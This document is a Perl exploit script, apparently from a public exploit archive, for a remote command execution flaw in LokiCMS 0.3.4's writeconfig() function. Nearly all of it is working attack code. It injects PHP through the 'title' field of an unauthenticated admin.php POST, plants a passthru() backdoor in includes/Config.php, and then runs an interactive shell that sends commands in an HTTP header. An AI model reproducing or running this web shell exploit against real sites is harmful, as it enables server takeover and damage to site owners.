LokiCMS 0.3.4 writeconfig() Remote Command Execution Exploit

                                                # Author:    __GiReX__	
# Homepage:  http://girex.altervista.org

# CMS:       LokiCMS 0.3.4
# URL:       http://www.lokicms.com/

# Description:  LokiCMS is still vulnerable to Remote Command Execution (see: http://milw0rm.com/exploits/5408)
# The exploit changed becouse the vars changed but the bugged function is the same: writeconfig()
# LokiCMS does not check the access to admin.php via POST...

#!/usr/bin/perl -w
# LokiCMS <= 0.3.4 Remote Command Execution Exploit
# Needs with magic_quotes_gpc = Off
# Coded by __GiReX__

use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

banner();
my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'title'      =>  "';echo \"<!-- INFECTED -->\";if(strlen(\$_SERVER['HTTP_CMD']))".
                                                   "passthru(\$_SERVER['HTTP_CMD']);//", 
                                  'language'   =>  'english-utf-8',
                                  'theme'      =>  'default' ]);

if($res->is_error)
{
    print "[-] Request mistake. Exploit terminated!\n";
    exit ();
}
							  
while(1)
{
    print "[+] shell:~\$ ";
    chomp($cmd = <STDIN>);
    last if $cmd eq 'exit';
     
    $lwp->default_header( 'CMD' => $cmd );
    my $res = $lwp->get($target.'includes/Config.php');
	 
    if($res->is_success and $res->content =~ /INFECTED/)
    {
        print "\n". substr($res->content, index($res->content, 'INFECTED') + 12)."\n";
    }
    else
    {
        print "[-] PHP Code not injected. maybe magic_quotes_gpc = On!\n";
        last;
    }
}

sub banner
{
     print "[+] LokiCMS 0.3.4 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}